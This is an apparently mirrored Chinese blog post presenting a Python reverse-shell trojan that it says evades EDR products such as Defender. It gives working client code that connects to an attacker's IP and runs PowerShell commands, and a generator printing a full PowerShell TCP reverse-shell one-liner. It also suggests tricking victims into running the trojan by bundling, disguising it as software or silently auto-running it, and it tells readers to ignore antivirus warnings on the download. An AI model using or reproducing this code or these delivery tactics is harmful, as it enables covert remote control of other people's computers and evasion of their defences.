• python 实现nc功能 免杀案例——的确可以绕过奇安信,defender这些edr



    这里仅用反弹powershell演示,大家可以发挥脑洞

    自创反弹shell免杀五部曲:

    • 1:确定想法

    • 2:实现框架

    • 3:增加保护

    • 4:启动木马

    • 5:维持会话或提权

    1|2一,确定想法

    • 用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

    • 最后执行在会话中执行恶意命令来获取一个稳定的powershell

    • 记:控制端两次使用的端口不能相同


    1|3二,实现框架

    这里我们需要两个文件

    • 受害者运行的恶意程序

    • 在第一个会话中执行代码的生成器

    受害者运行的恶意程序编写

    1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

    木马的代码:

    (注:可以用pyinstaller转换为exe)

      import os
      import time
      import socket
      '''################'''
      server_ip = '' # 更改为控制端的IP
      server_port = 13524 # 更改为控制端的第一PORT
      '''################'''
       
      mod = '''powershell -nop -c "{0}"'''
      s = socket.socket()
       
      while True:
      try:
      s.connect((server_ip, server_port))
      break
      except:
      time.sleep(3)
      while True:
      s.send(b'[Powershell:->')
      cmd = s.recv(1024).decode()
      s.send(os.popen(mod.format(cmd)).read().encode())
       
      s.close()

    现在我们还需一个在第一个会话中执行代码的生成器

    1|4推荐参考Reverse Shell Generator 反弹shell生成

    这里放出代码及使用方法

      import sys
      server_ip = sys.argv[1]
      server_port_second = sys.argv[2]
      print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second)
      print('复制代码在nc中运行:')
      print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
      print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

    使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

    弹回的执行代码 复制

    • e.g. python3 creative.py 127.0.0.1 12212

    1|5三:增加保护

    作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

    这里不细讲,可以看看crow在B站的视频

    1|6四:启动木马

    想办法让受害者运行木马,这里举几个思路

    • 1. 捆绑软件
    • 2. 伪装软件
    • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
    • 4. 渗透内网
    • 5. 调用漏洞

    当受害者运行木马后

    我们自然得到第一个会话

    e.g. [Powershell:->

    接着在里面输入复制好的代码并回车


    2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

    2|1五:维持会话或提权

    2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell

    2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):

  • 相关阅读:
    zbb20181207 springboot @ConfigurationProperties使用
    zbb20181206 logback,lombok 默认日志logback配置解析
    Spring Boot (8) 全局异常处理
    Spring Boot (7) JdbcTemplate访问数据库
    Spring Boot (6) Spring Data JPA
    Spring Boot (4) 静态页面和Thymeleaf模板
    Spring Boot (3) 热部署devtools
    Spring Boot (2) Restful风格接口
    Spring Boot (1) 构建第一个Spring Boot工程
    idea使用maven搭建ssm框架实现登陆商品增删改查
  • 原文地址:https://www.cnblogs.com/bonelee/p/16540920.html
Copyright © 2020-2023  润新知